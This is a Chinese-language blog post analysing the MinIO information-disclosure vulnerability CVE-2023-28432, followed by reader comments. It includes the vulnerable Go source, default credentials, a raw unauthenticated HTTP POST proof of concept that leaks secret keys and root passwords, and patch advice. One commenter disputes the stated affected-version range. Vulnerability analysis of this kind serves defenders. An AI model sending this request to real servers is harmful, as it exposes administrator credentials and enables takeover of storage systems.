前言由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。如果文章中的漏洞出现敏感内容产生了部分影响，请及时联系作者，望谅解。一、漏洞原理漏洞简述 MinIO是一个用Golang开发的基于Apache License v2.0开源协议的对象存储服务，与 Amazon S3 API 兼容，可用于私有云或公共云。MinIO是一种高性能、高可用的分布式存储系统，可以存储大量数据，并提供高速的数据读写能力。MinIO采用分布式架构，可以在多个节点上运行，实现数据的分布式存储和处理。 MinIO 存在信息泄露漏洞，在集群部署的MinIO中，未经身份认证的远程攻击者通过发送特殊HTTP请求即可获取所有环境变量，其中包括MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD，造成敏感信息泄露，最终可能导致攻击者以管理员身份登录MinIO。漏洞影响范围供应商：MinIO 产品：MinIO 确认受影响版本：RELEASE.2019-12-17T23-16-33Z <= MinIO < RELEASE.2023-03-20T20-16-18Z 修复版本：RELEASE.2023-03-20T20-16-18Z 漏洞分析本漏洞的漏洞点来自MinIO系统中集群部署配置于/minio/bootstrap路径下，相关代码对HTTP请求的验证缺失，造成信息泄露。在官方Github的安全推送中，首先是影响及补丁信息：在补丁部分，可以看到补丁简述，补丁主要针对bootstrap部分对集群节点间进行token验证。之后看到漏洞点相关代码 // minio/cmd/bootstrap-peer-server.go func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) { ctx := newContext(r, w, "VerifyHandler") cfg := getServerSystemCfg() logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg)) } // minio/cmd/bootstrap-peer-server.go func getServerSystemCfg() ServerSystemConfig { envs := env.List("MINIO_") envValues := make(map[string]string, len(envs)) for _, envK := range envs { // skip certain environment variables as part // of the whitelist and could be configured // differently on each nodes, update skipEnvs() // map if there are such environment values if _, ok := skipEnvs[envK]; ok { continue } envValues[envK] = env.Get(envK, "") } return ServerSystemConfig{ MinioEndpoints: globalEndpoints, MinioEnv: envValues, } } 主要是两个函数 VerifyHandler() 和 getServerSystemCfg() 。 VerifyHandler() 函数主要作用为验证处置。其中CFG字段涉及下列getServerSystemCfg()函数，该函数获取服务器系统CFG信息。变量envs为List类型，为MINIO_。变量envValues存放envs的值。之后循环处理将envs输出于envK中。最后返回结构体ServerSystemConfig，包含key：MinioEndpoints和MinioEnv。可以看到与漏洞泄露涉及的MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD相对应。根据官方说明，在MinIO在启动时会从环境变量中读取用户预设的管理员账号和密码，如果省略则默认账号密码为minioadmin/minioadmin。另外，如果开启动Minio时没有设置MINIO_ROOT_USER和MINIO_ROOT_PASSWORD，那么Minio使用默认账号密码minioadmin，这时候再作信息泄露验证会发现读取不到管理员的账号密码，则推断存在默认口令。二、漏洞复现实战漏洞复现 MinIO 官方下载已更新至 RELEASE.2023-03-22T06-36-24Z，无法复现主要可以采用Github旧版本或相关资产。 POC： POST /minio/bootstrap/v1/verify HTTP/1.1 Host: User-Agent: Mozilla/5.0 Upgrade-Insecure-Requests: 1 Accept: */* Accept-Encoding: gzip, deflate Accept-Language: en-US;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 根据POC改包，可以看到存在信息泄露，包含内网IP泄露等另外存在POC脚本。可以检测漏洞情况链接： https://github.com/MzzdToT/CVE-2023-28432 漏洞修复目前官方已发布安全修复版本，建议更新至RELEASE.2023-03-20T20-16-18Z及以上版本版本下载链接： https://github.com/minio/minio/releases/tag/RELEASE.2023-03-20T20-16-18Z 另外，存在MinIO自更新项目，会更新至最新版本链接： https://github.com/minio/selfupdate 结束语本文主要介绍了CVE-2023-28432 MinIO信息泄露漏洞的原理分析及复现过程，漏洞主要利用在集群部署的MinIO中，未经身份认证的远程攻击者通过发送特殊HTTP请求即可获取所有环境变量，其中包括MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD，造成敏感信息泄露，最终可能导致攻击者以管理员身份登录MinIO。

搞一搞新增的鉴权（狗头）

爱了爱了！这就是央企大佬的技术吗！

CVE-2023-28432 MinIO信息泄露漏洞分析及复现

tql ！！！

taamr 可以的

金浩谢谢师傅支持

陈滑稽陈师傅带带

小黑细就完事了

0x6270 学到了👌

针对这个漏洞，我需要强调一下，
受影响的版本不对！
受影响的版本不对！
受影响的版本不对！

实际受影响的版本如下

minio官方给出的受影响版本才是对的
https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
根据源代码对比，也印证了

请相关安全厂商更新一下

火线用户7b4f66 我们用的版本是2021-03-26T00:00:41Z